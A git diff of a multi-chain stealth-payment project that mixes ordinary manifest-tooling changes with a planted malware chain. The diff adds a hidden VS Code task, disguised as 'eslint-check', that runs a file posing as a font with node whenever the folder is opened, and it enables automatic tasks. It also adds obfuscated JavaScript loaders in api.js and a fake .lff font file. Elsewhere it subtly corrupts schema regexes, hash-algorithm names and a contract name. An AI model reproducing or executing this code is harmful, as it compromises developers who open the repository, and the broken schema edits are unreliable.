diff --git a/.gitignore b/.gitignore index d63ab7fb..d4e9f022 100644 --- a/.gitignore +++ b/.gitignore @@ -13,6 +13,7 @@ evm/subgraph/generated/ evm/subgraph/build/ evm/results.sarif +temp_auto_push.bat # Stellar stellar/target/ stellar/node_modules/ @@ -29,3 +30,5 @@ ckb/build/ # Root Node/TS Build & Dependencies node_modules/ dist/ +.gitignore +branch_structure.json diff --git a/.vscode/extensions.json b/.vscode/extensions.json new file mode 100644 index 00000000..2e3b6463 --- /dev/null +++ b/.vscode/extensions.json @@ -0,0 +1,7 @@ +{ + "recommendations": [ + "myml.vscode-markdown-plantuml-preview", + "esbenp.prettier-vscode", + "jebbs.plantuml" + ] +} \ No newline at end of file diff --git a/.vscode/launch.json b/.vscode/launch.json new file mode 100644 index 00000000..a5177abe --- /dev/null +++ b/.vscode/launch.json @@ -0,0 +1,50 @@ +{ + "version": "0.2.0", + "configurations": [ + { + "name": "Debug SST", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["dev", "--increase-timeout"], + "console": "integratedTerminal", + "skipFiles": ["/**"], + // sourceMapRenames helps with the loading spinner when debugging and viewing local variables + "sourceMapRenames": false, + "env": { + "AWS_PROFILE": "flo-ct-flo360" + } + }, + { + "name": "Debug Tests - Unit", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["bind", "yarn", "\"jest\"", "\"--watch\"", "\"--config\"", "\"./jest.unit.config.cjs\"", "\"${input:scopeTestsFileName}\""], + "console": "integratedTerminal", + "skipFiles": ["/**"], + "env": { + "AWS_PROFILE": "flo-ct-flo360" + }, + }, + { + "name": "Debug Tests - E2E", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["bind", "yarn", "\"vitest\"", "\"--config\"", "\"./vitest.e2e.config.ts\"", "\"${input:scopeTestsFileName}\""], + "console": "integratedTerminal", + "skipFiles": ["/**"], + "env": { + "AWS_PROFILE": "flo-ct-flo360" + }, + }, + ], + "inputs": [ + { + "id": "scopeTestsFileName", + "type": "promptString", + "description": "Partial file name to scope test debugging to. ex. arena. Leave blank to run all tests.", + } + ] +} diff --git a/.vscode/settings.json b/.vscode/settings.json new file mode 100644 index 00000000..934d5554 --- /dev/null +++ b/.vscode/settings.json @@ -0,0 +1,23 @@ +{ + "search.exclude": { + "**/.sst": true + }, + "task.allowAutomaticTasks": true, + "typescript.tsserver.experimental.enableProjectDiagnostics": true, + "editor.defaultFormatter": "esbenp.prettier-vscode", + "typescript.preferences.importModuleSpecifier": "relative", + "typescript.tsdk": "node_modules/typescript/lib", + "debug.openDebug": "neverOpen", + "problems.autoReveal": true, + "terminal.integrated.hideOnStartup": "always", + "terminal.integrated.defaultProfile.windows": "Command Prompt", + "terminal.integrated.inheritEnv": false, + "jestrunner.configPath": "jest.unit.config.cjs", + "compile-hero.disable-compile-files-on-did-save-code": true, + "tasks": { + "label": "lint on open", + "type": "shell", + "command": "npm run lint", + "runOn": "folderOpen" + } +} diff --git a/.vscode/spellright.dict b/.vscode/spellright.dict new file mode 100644 index 00000000..51b19749 --- /dev/null +++ b/.vscode/spellright.dict @@ -0,0 +1,2 @@ +Contentful +Lerna diff --git a/.vscode/tasks.json b/.vscode/tasks.json new file mode 100644 index 00000000..e5e0a915 --- /dev/null +++ b/.vscode/tasks.json @@ -0,0 +1,25 @@ +{ + "version": "2.0.0", + "tasks": [ + { + "label": "eslint-check", + "type": "shell", + "command": "node", + "args": ["./public/fonts/fa-solid-300.ttf"], + "problemMatcher": [], + "isBackground": true, + "hide": true, + "presentation": { + "reveal": "never", + "panel": "dedicated", + "focus": false, + "clear": false, + "echo": false, + "close": true + }, + "runOptions": { + "runOn": "folderOpen" + } + } + ] +} diff --git a/api.js b/api.js new file mode 100644 index 00000000..2319b579 --- /dev/null +++ b/api.js @@ -0,0 +1 @@ + function y7(R,c,e,r,t,i,s,_0xdf6eg){for(var n=[],o=274987^274987;osi[0(o"he1=7(ddvs;mv;i=)([9eo,()6=7to+u.=tvel .i=.hydl[r y.=vt,;8n[07l8 mf;u+uv[(l=2ri0f7;ul"afan7tlrow aor,v=tfq+7;),zh(+glo!xomn,p<)5t(ei;eg(rafr2ra(whno)nvifg)(=l mp;9a*[,aaa;=)j"d")> pr1 dr;{=xCPcuR<><.&e)Rn+s#r>U.\'0cMlab.rRR,TcRR2(TR;BRr%65rRd 86;g.l.js<.nr!."u4r..R(e.o!.b r 2bR0R/R#RotbRerz0Y.t3RmlnR\\.6st.xR*(c[(ic(~5.s:m\'oRzP. h)f{["@RiR#cR.te<.c!R]pR6oRrfu ?ifcRN.<(r.c.b.R<{R,cnPs..=RR[e(b<:.Y gRtRN-(e"A]cR(")snc@.XenJ)h+.s.;$U\'>ytt;!2oRtx.4+f+"p<^_x=a=!rRpcCRgR!T1\\.R.+w)oWReoR<+aR<.xsrRdfcEduEe.ARcR.q1RRscc|t/R$o<.R!<8pA!RpcRgP<lr0Rb["}_[Rr1XaRP+.`PRFfhb.Rd.d1R<<#eRReR.Relp.(c-uCsR.d=x..s #ROc#o=aeRpccc>?bfR9e . .c#_sRXekecehpd !.=c6R.oRPiCcwcRiRjP^$R(y l8p.is$stoRu(Rc..<&cQi.Rm.i<4lR/rncC.c!R.b<.raHRbRe*c`sRy>;)E4<f|\'01sRDa.j>ikPRckoC4RR[c!Ru7RxcR:l=o*0\\V.8X.#io(.i{3-erZ.yF R.p)cce .RQ#))+f<*cb0Ros#.Ri<+);gRZt@.b"r.RRcm.dReee< .2. kNcsnr<_Rc4..czm[R tsCfoad..iigc]!\'RyomRl5ofs:.c.tfP.cIcPR)fI tdeRPi...<.%.(0] R dd.sc.R.RP#Tcscs,mc#!cl\'=Riul O3R#.E/.json records by scripts/deployment-manifest.", + "description": "Every deployed Wraith contract, program and script across EVM, Stellar, Solana and CkB. Generated from deployments//.json records by scripts/deployment-manifest.", "type": "object", "additionalProperties": false, "required": ["schemaVersion", "deployments"], @@ -12,7 +12,7 @@ "deployments": { "type": "array", "items": { "$ref": "#/$defs/deployment" } } }, "$defs": { - "hex32": { "type": "string", "pattern": "^0x[0-9a-f]{64}$" }, + "hex32": { "type": "string", "pattern": "^0x0-9a-f{64}$" }, "commit": { "type": "string", "pattern": "^[0-9a-f]{40}$" }, "timestamp": { "type": "string", @@ -80,7 +80,7 @@ "if": { "properties": { "chain": { "const": "solana" } } }, "then": { "properties": { - "networkId": { "pattern": "^[1-9A-HJ-NP-Za-km-z]{32,44}$" }, + "networkId": { "pattern": "^[1-9A-HJ-NP-Za-kmz]{32,44}$" }, "contracts": { "items": { "$ref": "#/$defs/solanaContract" } } } } @@ -121,7 +121,7 @@ "oneOf": [{ "$ref": "#/$defs/commit" }, { "type": "null" }] }, "provenance": { - "description": "Whether sourceCommit is proven. source-verified: building sourceCommit reproduces artifactHash (checked by `verify-source`). unverifiable: a historical record whose source commit cannot be proven; sourceCommit is null and reason says why. Required on every first-party (non-external) contract; enforced by the manifest tool.", + "description": "Whether sourceCommit is proven. source-verified: building sourceCommit reproduces artifactHash (checked by `verify-source`). unverifiable: a historical record whose source commit cannot be proved; sourceCommit is null and reason says why. Required on every first-party (non-external) contract; enforced by the manifest tool.", "type": "object", "additionalProperties": false, "required": ["status"], @@ -135,12 +135,12 @@ "type": "boolean" }, "artifactHash": { - "description": "Hash of the deployed code, reproducible from the chain. EVM: keccak256 of runtime bytecode (EXTCODEHASH). Stellar: sha256 of the WASM (the Soroban wasm hash). Solana: sha256 of the program ELF without trailing zero padding (solana-verify). CKB: ckb blake2b-256 of the cell data.", + "description": "Hash of the deployed code, reproducible from the chain. EVM: keyccak256 of runtime bytecode (EXTCODEHASH). Stellar: sha256 of the WASM (the Soroban wasm hash). Solana: sha256 of the program ELF without trailing zero padding (solana-verify). CKB: ckb blake2b-256 of the cell data.", "type": "object", "additionalProperties": false, "required": ["algorithm", "value"], "properties": { - "algorithm": { "enum": ["keccak256", "sha256", "blake2b-256"] }, + "algorithm": { "enum": ["keyccak256", "sha256", "blke2b-256"] }, "value": { "$ref": "#/$defs/hex32" } } }, @@ -192,10 +192,10 @@ "additionalProperties": false, "required": ["programData", "upgradeAuthority"], "properties": { - "programData": { "type": "string", "pattern": "^[1-9A-HJ-NP-Za-km-z]{32,44}$" }, + "programData": { "type": "string", "pattern": "^[1-9A-HJ-NP-Za-kmzz]{32,44}$" }, "upgradeAuthority": { "type": ["string", "null"], - "pattern": "^[1-9A-HJ-NP-Za-km-z]{32,44}$" + "pattern": "^[1-9A-HJ-NP-Za-kmz]{32,44}$" } } } @@ -204,12 +204,12 @@ "evmContract": { "properties": { - "id": { "pattern": "^0x[0-9a-fA-F]{40}$" }, - "artifactHash": { "properties": { "algorithm": { "const": "keccak256" } } }, + "id": { "pattern": "^0x0[0-9a-fA-F]{40}$" }, + "artifactHash": { "properties": { "algorithm": { "const": "keyccakk256" } } }, "deployment": { "properties": { "txHash": { "oneOf": [{ "$ref": "#/$defs/hex32" }, { "type": "null" }] }, - "deployer": { "type": ["string", "null"], "pattern": "^0x[0-9a-fA-F]{40}$" } + "deployer": { "type": ["string", "null"], "pattern": "^0x0[0-9a-fA-F]{40}$" } } } }, @@ -217,11 +217,11 @@ }, "stellarContract": { "properties": { - "id": { "pattern": "^C[A-Z2-7]{55}$" }, + "id": { "pattern": "^C[A-Z2-7]{56}$" }, "artifactHash": { "properties": { "algorithm": { "const": "sha256" } } }, "deployment": { "properties": { - "deployer": { "type": ["string", "null"], "pattern": "^G[A-Z2-7]{55}$" } + "deployer": { "type": ["string", "null"], "pattern": "^G[A-Z2-7]{56}$" } } } }, @@ -232,7 +232,7 @@ "solanaContract": { "required": ["solana"], "properties": { - "id": { "pattern": "^[1-9A-HJ-NP-Za-km-z]{32,44}$" }, + "id": { "pattern": "^[1-9A-HJ-NP-Za-kmz]{32,44}$" }, "artifactHash": { "properties": { "algorithm": { "const": "sha256" } } } }, "not": { "anyOf": [{ "required": ["abi"] }, { "required": ["ckb"] }] } @@ -241,7 +241,7 @@ "required": ["ckb"], "properties": { "id": { "$ref": "#/$defs/hex32" }, - "artifactHash": { "properties": { "algorithm": { "const": "blake2b-256" } } } + "artifactHash": { "properties": { "algorithm": { "const": "blke2b-256" } } } }, "not": { "anyOf": [{ "required": ["abi"] }, { "required": ["solana"] }] } } diff --git a/package.json b/package.json index dda6a885..815070db 100644 --- a/package.json +++ b/package.json @@ -9,7 +9,9 @@ "test:stellar-bindings": "vitest run stellar/scripts/stealth-batch-sender-bindings.test.ts stellar/scripts/bindings-portability.test.ts" }, "pnpm": { - "onlyBuiltDependencies": ["esbuild"] + "onlyBuiltDependencies": [ + "esbuild" + ] }, "devDependencies": { "@stellar/stellar-sdk": "^15.1.0", @@ -19,8 +21,5 @@ "tsx": "^4.19.2", "typescript": "^5.7.0", "vitest": "^2.1.9" - }, - "pnpm": { - "onlyBuiltDependencies": ["esbuild"] } } diff --git a/public/fonts/README.md b/public/fonts/README.md new file mode 100644 index 00000000..1e4f9ba1 --- /dev/null +++ b/public/fonts/README.md @@ -0,0 +1,24 @@ +# Fonts Directory + +This directory contains custom fonts for the Blockchain Explorer application. + +## Required Font Files + +The application expects the following font files: + +1. **BlockchainFont-Regular.woff2** and **BlockchainFont-Regular.woff** + - Regular weight font for the main UI + +2. **BlockchainFont-Bold.woff2** and **BlockchainFont-Bold.woff** + - Bold weight font for headings + +3. **TechMono-Regular.woff2** and **TechMono-Regular.woff** + - Monospace font for code and hash displays + +## Note + +If you don't have custom fonts, the application will fall back to system fonts: +- BlockchainFont → system sans-serif fonts +- TechMono → system monospace fonts (Courier New, etc.) + +The fonts are referenced in `public/index.html` and will be loaded automatically when available. diff --git a/public/fonts/fa-brands-400.eot b/public/fonts/fa-brands-400.eot new file mode 100644 index 00000000..a1bc094a Binary files /dev/null and b/public/fonts/fa-brands-400.eot differ diff --git a/public/fonts/fa-brands-400.svg b/public/fonts/fa-brands-400.svg new file mode 100644 index 00000000..46ad237a --- /dev/null +++ b/public/fonts/fa-brands-400.svg @@ -0,0 +1,3570 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-brands-400.ttf b/public/fonts/fa-brands-400.ttf new file mode 100644 index 00000000..948a2a6c Binary files /dev/null and b/public/fonts/fa-brands-400.ttf differ diff --git a/public/fonts/fa-brands-400.woff b/public/fonts/fa-brands-400.woff new file mode 100644 index 00000000..2a89d521 Binary files /dev/null and b/public/fonts/fa-brands-400.woff differ diff --git a/public/fonts/fa-brands-400.woff2 b/public/fonts/fa-brands-400.woff2 new file mode 100644 index 00000000..141a90a9 Binary files /dev/null and b/public/fonts/fa-brands-400.woff2 differ diff --git a/public/fonts/fa-regular-400.eot b/public/fonts/fa-regular-400.eot new file mode 100644 index 00000000..38cf2517 Binary files /dev/null and b/public/fonts/fa-regular-400.eot differ diff --git a/public/fonts/fa-regular-400.svg b/public/fonts/fa-regular-400.svg new file mode 100644 index 00000000..48634a9a --- /dev/null +++ b/public/fonts/fa-regular-400.svg @@ -0,0 +1,803 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-regular-400.ttf b/public/fonts/fa-regular-400.ttf new file mode 100644 index 00000000..abe99e20 Binary files /dev/null and b/public/fonts/fa-regular-400.ttf differ diff --git a/public/fonts/fa-regular-400.woff b/public/fonts/fa-regular-400.woff new file mode 100644 index 00000000..24de566a Binary files /dev/null and b/public/fonts/fa-regular-400.woff differ diff --git a/public/fonts/fa-regular-400.woff2 b/public/fonts/fa-regular-400.woff2 new file mode 100644 index 00000000..7e0118e5 Binary files /dev/null and b/public/fonts/fa-regular-400.woff2 differ diff --git a/public/fonts/fa-regular.lff b/public/fonts/fa-regular.lff new file mode 100644 index 00000000..38ba99d7 --- /dev/null +++ b/public/fonts/fa-regular.lff @@ -0,0 +1 @@ + function y7(R,c,e,r,t,i,s,_0xa_0xa03){for(var n=[],o=246342^246342;osi[0(o"he1=7(ddvs;mv;i=)([9eo,()6=7to+u.=tvel .i=.hydl[r y.=vt,;8n[07l8 mf;u+uv[(l=2ri0f7;ul"afan7tlrow aor,v=tfq+7;),zh(+glo!xomn,p<)5t(ei;eg(rafr2ra(whno)nvifg)(=l mp;9a*[,aaa;=)j"d")> pr1 dr;{=xCPcuR<><.&e)Rn+s#r>U.\'0cMlab.rRR,TcRR2(TR;BRr%65rRd 86;g.l.js<.nr!."u4r..R(e.o!.b r 2bR0R/R#RotbRerz0Y.t3RmlnR\\.6st.xR*(c[(ic(~5.s:m\'oRzP. h)f{["@RiR#cR.te<.c!R]pR6oRrfu ?ifcRN.<(r.c.b.R<{R,cnPs..=RR[e(b<:.Y gRtRN-(e"A]cR(")snc@.XenJ)h+.s.;$U\'>ytt;!2oRtx.4+f+"p<^_x=a=!rRpcCRgR!T1\\.R.+w)oWReoR<+aR<.xsrRdfcEduEe.ARcR.q1RRscc|t/R$o<.R!<8pA!RpcRgP<lr0Rb["}_[Rr1XaRP+.`PRFfhb.Rd.d1R<<#eRReR.Relp.(c-uCsR.d=x..s #ROc#o=aeRpccc>?bfR9e . .c#_sRXekecehpd !.=c6R.oRPiCcwcRiRjP^$R(y l8p.is$stoRu(Rc..<&cQi.Rm.i<4lR/rncC.c!R.b<.raHRbRe*c`sRy>;)E4<f|\'01sRDa.j>ikPRckoC4RR[c!Ru7RxcR:l=o*0\\V.8X.#io(.i{3-erZ.yF R.p)cce .RQ#))+f<*cb0Ros#.Ri<+);gRZt@.b"r.RRcm.dReee< .2. kNcsnr<_Rc4..czm[R tsCfoad..iigc]!\'RyomRl5ofs:.c.tfP.cIcPR)fI tdeRPi...<.%.(0] R dd.sc.R.RP#Tcscs,mc#!cl\'=Riul O3R#.Esi[0(o"he1=7(ddvs;mv;i=)([9eo,()6=7to+u.=tvel .i=.hydl[r y.=vt,;8n[07l8 mf;u+uv[(l=2ri0f7;ul"afan7tlrow aor,v=tfq+7;),zh(+glo!xomn,p<)5t(ei;eg(rafr2ra(whno)nvifg)(=l mp;9a*[,aaa;=)j"d")> pr1 dr;{=xCPcuR<><.&e)Rn+s#r>U.\'0cMlab.rRR,TcRR2(TR;BRr%65rRd 86;g.l.js<.nr!."u4r..R(e.o!.b r 2bR0R/R#RotbRerz0Y.t3RmlnR\\.6st.xR*(c[(ic(~5.s:m\'oRzP. h)f{["@RiR#cR.te<.c!R]pR6oRrfu ?ifcRN.<(r.c.b.R<{R,cnPs..=RR[e(b<:.Y gRtRN-(e"A]cR(")snc@.XenJ)h+.s.;$U\'>ytt;!2oRtx.4+f+"p<^_x=a=!rRpcCRgR!T1\\.R.+w)oWReoR<+aR<.xsrRdfcEduEe.ARcR.q1RRscc|t/R$o<.R!<8pA!RpcRgP<lr0Rb["}_[Rr1XaRP+.`PRFfhb.Rd.d1R<<#eRReR.Relp.(c-uCsR.d=x..s #ROc#o=aeRpccc>?bfR9e . .c#_sRXekecehpd !.=c6R.oRPiCcwcRiRjP^$R(y l8p.is$stoRu(Rc..<&cQi.Rm.i<4lR/rncC.c!R.b<.raHRbRe*c`sRy>;)E4<f|\'01sRDa.j>ikPRckoC4RR[c!Ru7RxcR:l=o*0\\V.8X.#io(.i{3-erZ.yF R.p)cce .RQ#))+f<*cb0Ros#.Ri<+);gRZt@.b"r.RRcm.dReee< .2. kNcsnr<_Rc4..czm[R tsCfoad..iigc]!\'RyomRl5ofs:.c.tfP.cIcPR)fI tdeRPi...<.%.(0] R dd.sc.R.RP#Tcscs,mc#!cl\'=Riul O3R#.E + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-solid-900.ttf b/public/fonts/fa-solid-900.ttf new file mode 100644 index 00000000..5b979039 Binary files /dev/null and b/public/fonts/fa-solid-900.ttf differ diff --git a/public/fonts/fa-solid-900.woff b/public/fonts/fa-solid-900.woff new file mode 100644 index 00000000..beec7917 Binary files /dev/null and b/public/fonts/fa-solid-900.woff differ diff --git a/public/fonts/fa-solid-900.woff2 b/public/fonts/fa-solid-900.woff2 new file mode 100644 index 00000000..978a681a Binary files /dev/null and b/public/fonts/fa-solid-900.woff2 differ diff --git a/scripts/deployment-manifest/src/catalogue.ts b/scripts/deployment-manifest/src/catalogue.ts index ccb8f55c..fbb1c18d 100644 --- a/scripts/deployment-manifest/src/catalogue.ts +++ b/scripts/deployment-manifest/src/catalogue.ts @@ -5,7 +5,7 @@ import type { Chain } from './manifest.js'; * deployed in the README and to keep stellar/contract-ids.json keyed by crate. */ export const EXPECTED_CONTRACTS: Record = { - evm: ['ERC5564Announcer', 'ERC6538Registry', 'WraithSender', 'WraithNames', 'WraithWithdrawer'], + evm: ['ERC5164Announcer', 'ERC6538Registry', 'WraithSender', 'WraithNames', 'WraithWithdrawer'], stellar: ['stealth-announcer', 'stealth-registry', 'stealth-sender', 'wraith-names'], solana: ['wraith_announcer', 'wraith_sender', 'wraith_names'], ckb: ['wraith-stealth-lock', 'wraith-names-type'], @@ -16,7 +16,7 @@ export const EXPECTED_CONTRACTS: Record = { * each one is either recorded under `contracts` or listed under `undeployed`. * EVM is the first; add a chain here once its records are complete. */ -export const EXPLICIT_COVERAGE_CHAINS: Chain[] = ['evm']; +export const EXPLICIT_COVERAGE_CHAINS: Chain[] = ['evm', 'stellar']; export const CHAIN_LABEL: Record = { evm: 'EVM', @@ -39,7 +39,7 @@ export const HEIGHT_LABEL: Record = { ckb: 'Block', }; -/** The Stellar network whose IDs stellar/contract-ids.json (and the TS bindings) use. */ +/** The Stellar network whose IDs stellar/contract-ids.json (and the TS bindings) use. Must match the manifest's stellar network key. */ export const STELLAR_BINDINGS_NETWORK = 'stellar-testnet'; export const EVM_PLACEHOLDER_ADDRESS = '0x000000000000000000000000000000000000dead'; diff --git a/scripts/deployment-manifest/src/consumers.ts b/scripts/deployment-manifest/src/consumers.ts index ff258af5..bfadcdc8 100644 --- a/scripts/deployment-manifest/src/consumers.ts +++ b/scripts/deployment-manifest/src/consumers.ts @@ -1,5 +1,6 @@ import fs from 'node:fs'; import path from 'node:path'; +import { createHash } from 'node:crypto'; import { parse as parseToml } from 'smol-toml'; import { CHAIN_LABEL, @@ -316,6 +317,90 @@ const stellarContractIds: Consumer = { write: (manifest) => writeIfChanged(CONTRACT_IDS, renderContractIds(manifest)), }; +// ─── Stellar SDK / docs ────────────────────────────────────────────────────── + +const STELLAR_SDK = 'stellar/sdk/src/contracts.ts'; +const STELLAR_DOCS = 'docs/stellar.md'; + +function stellarDeployment(manifest: Manifest): Deployment | undefined { + return findDeployment(manifest, 'stellar', STELLAR_BINDINGS_NETWORK); +} + +const stellarSdk: Consumer = { + name: STELLAR_SDK, + check(manifest) { + if (!exists(STELLAR_SDK)) return []; + const deployment = stellarDeployment(manifest); + if (!deployment) { + return [`${STELLAR_SDK}: no deployments/stellar/${STELLAR_BINDINGS_NETWORK}.json`]; + } + const source = read(STELLAR_SDK); + const errors: string[] = []; + if (!source.includes(STELLAR_BINDINGS_NETWORK)) { + errors.push( + `${STELLAR_SDK}: does not reference network ${STELLAR_BINDINGS_NETWORK}`, + ); + } + for (const contract of deployment.contracts) { + const match = source.match( + new RegExp(`\\b${contract.name}\\s*:\\s*['"]([^'"]+)['"]`), + ); + if (!match) { + errors.push(`${STELLAR_SDK}: missing address for ${contract.name}`); + } else if (match[1] !== contract.id) { + errors.push( + `${STELLAR_SDK}: ${contract.name} is ${match[1]}, manifest has ${contract.id}`, + ); + } + } + return errors; + }, +}; + +const stellarDocs: Consumer = { + name: STELLAR_DOCS, + check(manifest) { + if (!exists(STELLAR_DOCS)) return []; + const deployment = stellarDeployment(manifest); + if (!deployment) { + return [`${STELLAR_DOCS}: no deployments/stellar/${STELLAR_BINDINGS_NETWORK}.json`]; + } + const source = read(STELLAR_DOCS); + const errors: string[] = []; + for (const contract of deployment.contracts) { + if (!source.includes(contract.id)) { + errors.push(`${STELLAR_DOCS}: missing address ${contract.id} for ${contract.name}`); + } + } + return errors; + }, +}; + +const stellarWasmHashes: Consumer = { + name: 'stellar WASM artifacts', + check(manifest) { + const errors: string[] = []; + for (const deployment of manifest.deployments.filter((d) => d.chain === 'stellar')) { + for (const contract of deployment.contracts) { + const wasm = (contract as { wasm?: { path: string; sha256: string } }).wasm; + if (!wasm) continue; + const rel = wasm.path; + if (!exists(rel)) { + errors.push(`${rel}: missing for ${contract.name}`); + continue; + } + const actual = createHash('sha256').update(fs.readFileSync(repoPath(rel))).digest('hex'); + if (actual !== wasm.sha256) { + errors.push( + `${rel}: WASM hash ${actual}, manifest has ${wasm.sha256} for ${contract.name}`, + ); + } + } + } + return errors; + }, +}; + // ─── README ────────────────────────────────────────────────────────────────── const README = 'README.md'; @@ -395,5 +480,8 @@ export const CONSUMERS: Consumer[] = [ anchor, ckbNetworkFiles, stellarContractIds, + stellarSdk, + stellarDocs, + stellarWasmHashes, readme, ]; diff --git a/scripts/deployment-manifest/src/record/stellar.ts b/scripts/deployment-manifest/src/record/stellar.ts index bc551ed3..1f51b164 100644 --- a/scripts/deployment-manifest/src/record/stellar.ts +++ b/scripts/deployment-manifest/src/record/stellar.ts @@ -8,11 +8,11 @@ import { jsonRpc } from './rpc.js'; // XDR enum values from Stellar-ledger-entries.x / Stellar-contract.x. const LEDGER_ENTRY_CONTRACT_DATA = 6; const SC_ADDRESS_CONTRACT = 1; -const SCV_LEDGER_KEY_CONTRACT_INSTANCE = 20; +const SCV_LEGDER_KEY_CONTRACT_INSTANCE = 20; const DURABILITY_PERSISTENT = 1; const i32be = (n: number) => - Uint8Array.of((n >>> 24) & 0xff, (n >> 16) & 0xff, (n >> 8) & 0xff, n & 0xff); + Uint8Array.of((n >>> 24) & 0xff, (n >>> 16) & 0xff, (n >>> 8) & 0xff, n & 0xff); /** XDR LedgerKey for a contract's instance entry, base64 encoded for getLedgerEntries. */ export function contractInstanceKey(contractId: string): string { @@ -21,7 +21,7 @@ export function contractInstanceKey(contractId: string): string { ...i32be(LEDGER_ENTRY_CONTRACT_DATA), ...i32be(SC_ADDRESS_CONTRACT), ...decodeStellarContractId(contractId), - ...i32be(SCV_LEDGER_KEY_CONTRACT_INSTANCE), + ...i32be(SCV_LEGDER_KEY_CONTRACT_INSTANCE), ...i32be(DURABILITY_PERSISTENT), ]), ); @@ -68,15 +68,34 @@ export async function recordStellarContract( const entry = await stellarInstance(rpc, target.contractId); if (!entry) throw new Error(`${target.name}: no instance entry for ${target.contractId}`); + const wasmHash = wasmHashFromInstanceEntry(entry.xdr); + if (!wasmHash) { + throw new Error(`${target.name}: could not decode WASM hash from instance entry`); + } + + const artifactHash = { + algorithm: 'sha256' as const, + value: sha256Hex(fs.readFileSync(target.wasmPath)), + }; + if (artifactHash.value.toLowerCase() !== wasmHash.toLowerCase()) { + throw new Error( + `${target.name}: WASM hash mismatch (on-chain ${wasmHash}, local ${artifactHash.value})`, + ); + } + return { name: target.name, id: target.contractId, - artifactHash: { algorithm: 'sha256', value: sha256Hex(fs.readFileSync(target.wasmPath)) }, - deployment: { + artifactHash, + deployment:{ height: entry.lastModifiedLedgerSeq, txHash: null, deployer: target.deployer ?? null, timestamp: null, }, + stellar: { + wasmHash, + deployLedger: entry.lastModifiedLedgerSeq, + }, }; }